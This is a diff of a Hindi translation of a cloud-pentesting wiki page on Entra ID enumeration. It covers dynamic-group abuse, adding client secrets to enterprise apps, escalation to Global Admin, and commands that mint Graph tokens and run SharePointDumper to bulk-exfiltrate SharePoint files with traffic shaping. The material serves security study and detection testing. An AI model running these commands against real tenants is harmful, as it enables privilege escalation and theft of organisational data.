-> Groups dynamic हो सकते हैं, जिसका मूलतः मतलब है कि **यदि एक user कुछ शर्तें पूरी करता है तो उसे एक group में जोड़ा जाएगा**। बेशक, यदि शर्तें **attributes** पर आधारित हों जिन्हें कोई **user** नियंत्रित कर सकता है, तो वह इस सुविधा का दुरुपयोग कर **other groups में प्रवेश कर सकता है**।\
-> नीचे दिए पृष्ठ में देखें कि dynamic groups का दुरुपयोग कैसे करें:
+> Groups dynamic हो सकते हैं, जिसका मूलतः मतलब यह है कि **यदि कोई user कुछ शर्तें पूरी करता है तो उसे एक group में जोड़ दिया जाएगा**। बेशक, यदि शर्तें **attributes** पर आधारित हैं जिन्हें एक **user** नियंत्रित कर सकता है, तो वह इस फीचर का दुरुपयोग कर **get inside other groups** कर सकता है।\
+> नीचे दिए पृष्ठ में देखें कि dynamic groups का दुरुपयोग कैसे किया जा सकता है:
{{#ref}}
../az-privilege-escalation/az-entraid-privesc/dynamic-groups.md
@@ -598,11 +598,11 @@ Get-AzureADServicePrincipal -ObjectId | Get-AzureADServicePrincipalMembersh
{{#endtabs }}
> [!WARNING]
-> Service Principal का Owner इसका password बदल सकता है।
+> Service Principal के Owner अपना password बदल सकते हैं।
-सूची बनाएं और प्रत्येक Enterprise App पर client secret जोड़ने का प्रयास करें
+प्रत्येक Enterprise App की सूची बनाएं और प्रत्येक पर client secret जोड़ने का प्रयास करें
```bash
# Just call Add-AzADAppSecret
Function Add-AzADAppSecret
@@ -707,18 +707,19 @@ Write-Output "Failed to Enumerate the Applications."
```
-### Applications
+### एप्लिकेशन
-For more information about Applications check:
+Applications के बारे में अधिक जानकारी के लिए देखें:
{{#ref}}
../az-basic-information/
{{#endref}}
-जब एक App जनरेट होता है तो 2 प्रकार की permissions दी जाती हैं:
+जब एक App बनाया जाता है, तो 3 प्रकार के Permissions दिए जाते हैं:
-- **Permissions** जो **Service Principal** को दिए जाते हैं
-- **Permissions** जो **app** के पास हो सकती हैं और जिन्हें वह **user** की ओर से उपयोग कर सकता है।
+- **Permissions** जो **Service Principal** को दिए जाते हैं (via roles).
+- **Permissions** जो **app** के पास हो सकती हैं और जिन्हें यह **behalf of the user** के तौर पर उपयोग कर सकता है.
+- **API Permissions** जो app को EntraID पर permissions देती हैं बिना अन्य roles द्वारा इन permissions के अनुदान की आवश्यकता के.
{{#tabs }}
{{#tab name="az cli" }}
@@ -772,7 +773,7 @@ az ad sp show --id --query "appRoles[?id==''].value" -o tsv
az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv
```
-non-Microsoft APIs के लिए API permissions वाले सभी एप्लिकेशन ढूँढें (az cli)
+सभी एप्लिकेशन की API अनुमतियाँ खोजें और Microsoft-स्वामित्व वाली APIs को चिह्नित करें (az cli)
```bash
#!/usr/bin/env bash
set -euo pipefail
@@ -794,6 +795,32 @@ done
return 1
}
+get_permission_value() {
+local resource_app_id="$1"
+local perm_type="$2"
+local perm_id="$3"
+local key value
+key="${resource_app_id}|${perm_type}|${perm_id}"
+
+value="$(awk -F '\t' -v k="$key" '$1==k {print $2; exit}' "$tmp_perm_cache")"
+if [ -n "$value" ]; then
+printf '%s\n' "$value"
+return 0
+fi
+
+if [ "$perm_type" = "Scope" ]; then
+value="$(az ad sp show --id "$resource_app_id" --query "oauth2PermissionScopes[?id=='$perm_id'].value | [0]" -o tsv 2>/dev/null || true)"
+elif [ "$perm_type" = "Role" ]; then
+value="$(az ad sp show --id "$resource_app_id" --query "appRoles[?id=='$perm_id'].value | [0]" -o tsv 2>/dev/null || true)"
+else
+value=""
+fi
+
+[ -n "$value" ] || value="UNKNOWN"
+printf '%s\t%s\n' "$key" "$value" >> "$tmp_perm_cache"
+printf '%s\n' "$value"
+}
+
command -v az >/dev/null 2>&1 || { echo "az CLI not found" >&2; exit 1; }
command -v jq >/dev/null 2>&1 || { echo "jq not found" >&2; exit 1; }
az account show >/dev/null
@@ -802,7 +829,8 @@ apps_json="$(az ad app list --all --query '[?length(requiredResourceAccess) > `0
tmp_map="$(mktemp)"
tmp_ids="$(mktemp)"
-trap 'rm -f "$tmp_map" "$tmp_ids"' EXIT
+tmp_perm_cache="$(mktemp)"
+trap 'rm -f "$tmp_map" "$tmp_ids" "$tmp_perm_cache"' EXIT
# Build unique resourceAppId values used by applications.
jq -r '.[][2][]?.resourceAppId' <<<"$apps_json" | sort -u > "$tmp_ids"
@@ -816,9 +844,9 @@ name="$(jq -r '.name // "UNKNOWN"' <<<"$sp_json")"
printf '%s\t%s\t%s\n' "$rid" "$owner" "$name" >> "$tmp_map"
done < "$tmp_ids"
-echo -e "appDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tresourceOwnerOrgId\tpermissionType\tpermissionId"
+echo -e "appDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tisMicrosoft\tpermissions"
-# Print only app permissions where the target API is NOT Microsoft-owned.
+# Print all app API permissions and mark if the target API is Microsoft-owned.
while IFS= read -r row; do
app_name="$(jq -r '.[0]' <<<"$row")"
app_id="$(jq -r '.[1]' <<<"$row")"
@@ -833,14 +861,25 @@ resource_name="$(awk -F'\t' '{print $3}' <<<"$map_line")"
[ -n "$resource_name" ] || resource_name="UNKNOWN"
if is_microsoft_owner "$owner_org"; then
-continue
+is_ms="true"
+else
+is_ms="false"
fi
+permissions_csv=""
while IFS= read -r access; do
perm_type="$(jq -r '.type' <<<"$access")"
perm_id="$(jq -r '.id' <<<"$access")"
-echo -e "${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${owner_org}\t${perm_type}\t${perm_id}"
+perm_value="$(get_permission_value "$resource_app_id" "$perm_type" "$perm_id")"
+perm_label="${perm_type}:${perm_value}"
+if [ -z "$permissions_csv" ]; then
+permissions_csv="$perm_label"
+else
+permissions_csv="${permissions_csv},${perm_label}"
+fi
done < <(jq -c '.resourceAccess[]' <<<"$rra")
+
+echo -e "${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${is_ms}\t${permissions_csv}"
done < <(jq -c '.[2][]' <<<"$row")
done < <(jq -c '.[]' <<<"$apps_json")
```
@@ -895,21 +934,21 @@ Get-AzureADApplication -ObjectId | Get-AzureADApplicationOwner |fl *
{{#endtabs }}
> [!WARNING]
-> एक एप्लिकेशन जिसके पास अनुमति **`AppRoleAssignment.ReadWrite`** है, वह खुद को भूमिका देकर **Global Admin** तक एस्केलेट कर सकता है।\
+> ऐसी app जिसके पास अनुमति **`AppRoleAssignment.ReadWrite`** है, वह अपने आप को यह role देकर **escalate to Global Admin** कर सकती है.\
> For more information [**check this**](https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48).
> [!NOTE]
-> एक secret string जो application token का अनुरोध करते समय अपनी पहचान साबित करने के लिए उपयोग करता है वह application password होता है।\
-> इसलिए, अगर आप यह **password** ढूंढते हैं तो आप **service principal** **inside** the **tenant** के रूप में access कर सकते हैं।\
-> ध्यान दें कि यह password केवल जनरेट करने के समय ही दिखाई देता है (आप इसे बदल सकते हैं लेकिन इसे फिर से प्राप्त नहीं कर सकते)।\
-> किसी **application** का **owner** इसमें **add a password** कर सकता है (ताकि वह इसे impersonate कर सके)।\
-> इन service principals के रूप में लॉगिन्स **not marked as risky** होते हैं और इन्हें **won't have MFA.**
+> एक secret string जिसका application token माँगते समय अपनी identity साबित करने के लिए उपयोग करता है, वह application password होता है.\
+> इसलिए, यदि आप यह **password** पा लेते हैं तो आप **service principal** के रूप में **inside** उस **tenant** में access कर सकते हैं.\
+> ध्यान दें कि यह password केवल तब दिखाई देता है जब इसे generate किया जाता है (आप इसे बदल तो सकते हैं पर आप इसे फिर से प्राप्त नहीं कर सकते).\
+> इस **application** का **owner** इसमें **add a password** कर सकता है (ताकि वह इसे impersonate कर सके).\
+> इन service principals के रूप में logins **not marked as risky** होते हैं और इनमें **won't have MFA.**
-It's possible to find a list of commonly used App IDs that belongs to Microsoft in [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications)
+यह संभव है कि Microsoft के commonly used App IDs की सूची आप यहाँ पा सकें: [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications)
-### Managed Identities
+### Managed Identities (प्रबंधित पहचानें)
-For more information about Managed Identities check:
+Managed Identities के बारे में अधिक जानकारी के लिए देखें:
{{#ref}}
../az-basic-information/
@@ -1085,7 +1124,7 @@ Get-AzureADMSScopedRoleMembership -Id | fl *
{{#endtab }}
{{#endtabs }}
-### उपकरण
+### डिवाइस
{{#tabs }}
{{#tab name="az cli" }}
@@ -1135,12 +1174,12 @@ Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember
{{#endtabs }}
> [!WARNING]
-> यदि कोई डिवाइस (VM) **AzureAD joined** है, AzureAD के users **लॉगिन करने में सक्षम** होंगे।\
-> इसके अलावा, यदि लॉग इन किया हुआ user उस डिवाइस का **Owner** है, तो वह **local admin** होगा।
+> यदि कोई डिवाइस (VM) है और वह **AzureAD joined** है, तो AzureAD के उपयोगकर्ता **लॉगिन कर पाएंगे**।\
+> इसके अलावा, यदि लॉग इन किया हुआ उपयोगकर्ता डिवाइस का **Owner** है, तो वह **local admin** होगा।
-### प्रशासनिक यूनिट्स
+### प्रशासनिक इकाइयाँ
-Administrative Units के बारे में अधिक जानकारी के लिए देखें:
+प्रशासनिक इकाइयों के बारे में अधिक जानकारी के लिए देखें:
{{#ref}}
../az-basic-information/
@@ -1177,12 +1216,12 @@ Get-AzureADMSScopedRoleMembership -Id | fl #Get role ID and role members
## Microsoft Graph delegated SharePoint data exfiltration (SharePointDumper)
-ऐसे हमलावर जिनके पास एक **delegated Microsoft Graph token** है जिसमें **`Sites.Read.All`** या **`Sites.ReadWrite.All`** शामिल है, Graph के जरिए **sites/drives/items** को सूचीबद्ध कर सकते हैं और फिर **SharePoint pre-authentication download URLs** के माध्यम से फ़ाइल सामग्री प्राप्त कर सकते हैं (ये time-limited URLs एक access token embed करती हैं)। The [SharePointDumper](https://github.com/zh54321/SharePointDumper) स्क्रिप्ट पूरे फ्लो (enumeration → pre-auth downloads) को ऑटोमेट करती है और detection testing के लिये प्रति-रिक्वेस्ट telemetry जारी करती है।
+Attackers with a **delegated Microsoft Graph token** that includes **`Sites.Read.All`** or **`Sites.ReadWrite.All`** can enumerate **sites/drives/items** over Graph and then **pull file contents** via **SharePoint pre-authentication download URLs** (time-limited URLs embedding an access token). The [SharePointDumper](https://github.com/zh54321/SharePointDumper) script automates the full flow (enumeration → pre-auth downloads) and emits per-request telemetry for detection testing.
-### Obtaining usable delegated tokens
+### उपयोगी delegated tokens प्राप्त करना
-- SharePointDumper स्वयं **प्रमाणीकरण नहीं करता**; एक access token प्रदान करें (वैकल्पिक रूप से refresh token)।
-- Pre-consented **first-party clients** का दुरुपयोग कर बिना किसी ऐप को रजिस्टर किये Graph token बनाया जा सकता है। उदाहरण `Invoke-Auth` (from [EntraTokenAid](https://github.com/zh54321/EntraTokenAid)) के invocations:
+- SharePointDumper स्वयं **authenticate नहीं करता**; एक access token प्रदान करें (वैकल्पिक रूप से refresh token)।
+- Pre-consented **first-party clients** का दुरुपयोग करके बिना किसी app को register किए Graph token mint किया जा सकता है। उदाहरण `Invoke-Auth` (from [EntraTokenAid](https://github.com/zh54321/EntraTokenAid)) invocations:
```powershell
# CAE requested by default; yields long-lived (~24h) access token
Import-Module ./EntraTokenAid/EntraTokenAid.psm1
@@ -1195,32 +1234,32 @@ Invoke-Auth -ClientID '4765445b-32c6-49b0-83e6-1d93765276ca' -RedirectUrl 'https
Invoke-Auth -ClientID '08e18876-6177-487e-b8b5-cf950c1e598c' -RedirectUrl 'https://onedrive.cloud.microsoft/_forms/spfxsinglesignon.aspx' -Origin 'https://doesnotmatter' # SPO Web Extensibility (FOCI FALSE)
```
> [!NOTE]
-> FOCI TRUE क्लाइंट्स डिवाइसों के बीच refresh को सपोर्ट करते हैं; FOCI FALSE क्लाइंट्स अक्सर `-Origin` की आवश्यकता होती है ताकि reply URL origin validation को संतुष्ट किया जा सके।
+> FOCI TRUE क्लाइंट्स डिवाइसेज़ के बीच refresh को सपोर्ट करते हैं; FOCI FALSE क्लाइंट्स अक्सर reply URL origin validation को पूरा करने के लिए `-Origin` की आवश्यकता करते हैं।
### SharePointDumper को enumeration + exfiltration के लिए चलाना
-- बेसिक dump कस्टम UA / proxy / throttling के साथ:
+- कस्टम UA / proxy / throttling के साथ Basic dump:
```powershell
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -UserAgent "Not SharePointDumper" -RequestDelaySeconds 2 -Variation 3 -Proxy 'http://127.0.0.1:8080'
```
-- स्कोप नियंत्रण: साइटों या एक्सटेंशन्स को शामिल/बहिष्कृत करें और वैश्विक सीमाएँ:
+- स्कोप नियंत्रण: शामिल/बहिष्कृत साइट्स या एक्सटेंशन्स और वैश्विक सीमाएँ:
```powershell
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -IncludeSites 'Finance','Projects' -IncludeExtensions pdf,docx -MaxFiles 500 -MaxTotalSizeMB 100
```
-- **पुनः आरंभ** रुके हुए रन को फिर से जारी रखें (re-enumerates लेकिन डाउनलोड किए गए आइटम्स को छोड़ देता है):
+- **पुनरारंभ** रुके हुए रन (पुनः सूचीबद्ध करता है लेकिन डाउनलोड किए गए आइटम छोड़ देता है):
```powershell
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -Resume -OutputFolder .\20251121_1551_MyTenant
```
-- **HTTP 401 पर स्वचालित token refresh** (EntraTokenAid लोड होना आवश्यक है):
+- **HTTP 401 पर स्वचालित token refresh** (EntraTokenAid लोडेड होना आवश्यक है):
```powershell
Import-Module ./EntraTokenAid/EntraTokenAid.psm1
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -RefreshToken $tokens.refresh_token -RefreshClientId 'b26aadf8-566f-4478-926f-589f601d9c74'
```
ऑपरेशनल नोट्स:
-- मध्य-रन एक्सपायरी से बचने के लिए **CAE-enabled** tokens को प्राथमिकता देता है; refresh प्रयास टूल के API लॉग में **नहीं** रिकॉर्ड होते।
-- **Graph + SharePoint** के लिए **CSV/JSON request logs** बनाता है और डिफ़ॉल्ट रूप से एम्बेडेड SharePoint download tokens को redact/छिपाता है (toggleable)।
-- traffic shaping के लिए detection/IR tests के दौरान **custom User-Agent**, **HTTP proxy**, **per-request delay + jitter**, और **Ctrl+C-safe shutdown** का समर्थन करता है।
+- Prefers **CAE-enabled** tokens to avoid mid-run expiry; refresh attempts are **not** logged in the tool’s API log.
+- Generates **CSV/JSON request logs** for **Graph + SharePoint** and redacts embedded SharePoint download tokens by default (toggleable).
+- Supports **custom User-Agent**, **HTTP proxy**, **per-request delay + jitter**, and **Ctrl+C-safe shutdown** for traffic shaping during detection/IR tests.
## Entra ID Privilege Escalation
@@ -1238,29 +1277,29 @@ Import-Module ./EntraTokenAid/EntraTokenAid.psm1
### Privileged Identity Management (PIM)
-Azure में Privileged Identity Management (PIM) अनावश्यक रूप से उपयोगकर्ताओं को अत्यधिक privileges असाइन होने से रोकने में मदद करता है।
+Azure में Privileged Identity Management (PIM) अनावश्यक रूप से उपयोगकर्ताओं को **अत्यधिक विशेषाधिकार दिए जाने से रोकने** में मदद करता है।
-PIM की एक मुख्य विशेषताओं में से एक यह है कि यह लगातार सक्रिय principals को रोल असाइन करने के बजाय उन्हें एक निश्चित अवधि (उदा. 6months) के लिए eligible बनाता है। फिर, जब भी उपयोगकर्ता उस रोल को सक्रिय करना चाहता है, उसे उस समय की अवधि बताकर अनुरोध करना होता है जिस समय के लिए उसे privilege चाहिए (उदा. 3 घंटे)। फिर एक **admin को अनुरोध approve** करना होता है।\
-नोट: उपयोगकर्ता समय को **extend** करने का अनुरोध भी कर सकेगा।
+PIM द्वारा प्रदान की गई मुख्य विशेषताओं में से एक यह है कि यह लगातार सक्रिय principals को भूमिका असाइन न करने की सुविधा देता है, बल्कि उन्हें एक निर्दिष्ट अवधि के लिए **पात्र** बनाता है (उदा. 6 महीने)। फिर, जब भी उपयोगकर्ता उस भूमिका को सक्रिय करना चाहता है, उसे उस समय की अवधि बताकर अनुरोध करना होता है जिसकी उसे आवश्यकता है (उदा. 3 घंटे)। फिर एक **admin को अनुरोध को अनुमोदित** करना होता है।\
+नोट: उपयोगकर्ता समय **बढ़ाने** का भी अनुरोध कर सकेगा।
-इसके अलावा, **PIM ईमेल भेजता है** जब भी कोई privileged role किसी को असाइन किया जाता है।
+इसके अलावा, **PIM ईमेल भेजता है** जब भी किसी को कोई privileged role असाइन किया जा रहा होता है।
-जब PIM सक्षम होता है तो प्रत्येक रोल को कुछ आवश्यकताओं के साथ कॉन्फ़िगर करना संभव है जैसे:
+जब PIM सक्षम होता है तो प्रत्येक भूमिका को कुछ आवश्यकताओं के साथ कॉन्फ़िगर करना संभव है, जैसे:
-- एक्टिवेशन की अधिकतम अवधि (घंटों में)
-- एक्टिवेशन पर MFA की आवश्यकता
-- Conditional Access authentication context की आवश्यकता
-- एक्टिवेशन पर justification की आवश्यकता
-- एक्टिवेशन पर ticket जानकारी की आवश्यकता
-- सक्रिय करने के लिए approval की आवश्यकता
-- eligible assignments के समाप्त होने का अधिकतम समय
-- उस रोल से संबंधित कुछ क्रियाएँ होने पर कब और किसे सूचनाएँ भेजनी हैं, आदि पर और बहुत सारी configuration
+- सक्रियण की अधिकतम अवधि (घंटों में)
+- सक्रियण पर MFA की आवश्यकता
+- सक्रियण पर Conditional Access authentication context की आवश्यकता
+- सक्रियण पर justification की आवश्यकता
+- सक्रियण पर टिकट जानकारी की आवश्यकता
+- सक्रिय करने के लिए अनुमोदन आवश्यक
+- पात्र असाइनमेंट्स के समाप्त होने का अधिकतम समय
+- उस भूमिका के साथ कुछ कार्य होने पर कब और किसे सूचनाएँ भेजनी हैं इस पर और भी बहुत सी कॉन्फ़िगरेशन
### Conditional Access Policies
-जाँच करें:
+Check:
{{#ref}}
../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md
@@ -1268,27 +1307,27 @@ PIM की एक मुख्य विशेषताओं में से
### Entra Identity Protection
-Entra Identity Protection एक सुरक्षा सेवा है जो यह सक्षम बनाती है कि कब कोई user या sign-in स्वीकार करने के लिए बहुत risky है इसे **detect** किया जा सके, और आवश्यक होने पर user या sign-in attempt को **block** किया जा सके।
+Entra Identity Protection एक security सेवा है जो यह **पता लगाने** में मदद करती है कि कब कोई उपयोगकर्ता या sign-in स्वीकार करने के लिए बहुत जोखिम भरा है, और अनुमति देती है कि उस उपयोगकर्ता या sign-in प्रयास को **ब्लॉक** किया जाए।
-यह admin को यह कॉन्फ़िगर करने की अनुमति देता है कि प्रयासों को तब **block** करें जब risk "Low and above", "Medium and above" या "High" हो। हालाँकि, डिफ़ॉल्ट रूप से यह पूरी तरह से **disabled** है:
+यह एडमिन को इसे इस तरह कॉन्फ़िगर करने की अनुमति देता है कि जब जोखिम "Low and above", "Medium and above" या "High" हो तो प्रयासों को **ब्लॉक** किया जाए। हालाँकि, डिफ़ॉल्ट रूप से यह पूरी तरह से **बंद** होता है:
> [!TIP]
-> आजकल अनुशंसित है कि जहां संभव हो इन प्रतिबंधों को Conditional Access policies के माध्यम से जोड़ा जाए क्योंकि वहां समान विकल्प कॉन्फ़िगर किए जा सकते हैं।
+> आजकल अनुशंसा की जाती है कि इन प्रतिबंधों को Conditional Access policies के माध्यम से जोड़ा जाए जहाँ समान विकल्प कॉन्फ़िगर किए जा सकते हैं।
### Entra Password Protection
-Entra Password Protection ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) एक सुरक्षा फ़ीचर है जो कमजोर पासवर्ड के दुरुपयोग को रोकने में मदद करता है, जैसे कि कई असफल लॉगिन प्रयास होने पर खातों को लॉक आउट करना।\
-यह आपको एक कस्टम पासवर्ड सूची भी प्रदान करने और उसे **ban** करने की अनुमति देता है।
+Entra Password Protection ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) एक सुरक्षा फीचर है जो **कमज़ोर पासवर्ड के दुरुपयोग को रोकने में मदद करता है, उदाहरण के लिए जब कई असफल लॉगिन प्रयास होते हैं तो खातों को लॉक करके**।\
+यह आपको **कस्टम पासवर्ड सूची को बैन** करने की भी अनुमति देता है जिसे आपको प्रदान करना होगा।
-इसे क्लाउड स्तर और ऑन-प्रिमाइसेस Active Directory दोनों पर **लागू** किया जा सकता है।
+इसे क्लाउड लेवल और ऑन-प्रिमाइसेस Active Directory दोनों पर लागू किया जा सकता है।
डिफ़ॉल्ट मोड **Audit** है:
-## संदर्भ
+## References
- [https://learn.microsoft.com/en-us/azure/active-directory/roles/administrative-units](https://learn.microsoft.com/en-us/azure/active-directory/roles/administrative-units)
- [SharePointDumper](https://github.com/zh54321/SharePointDumper)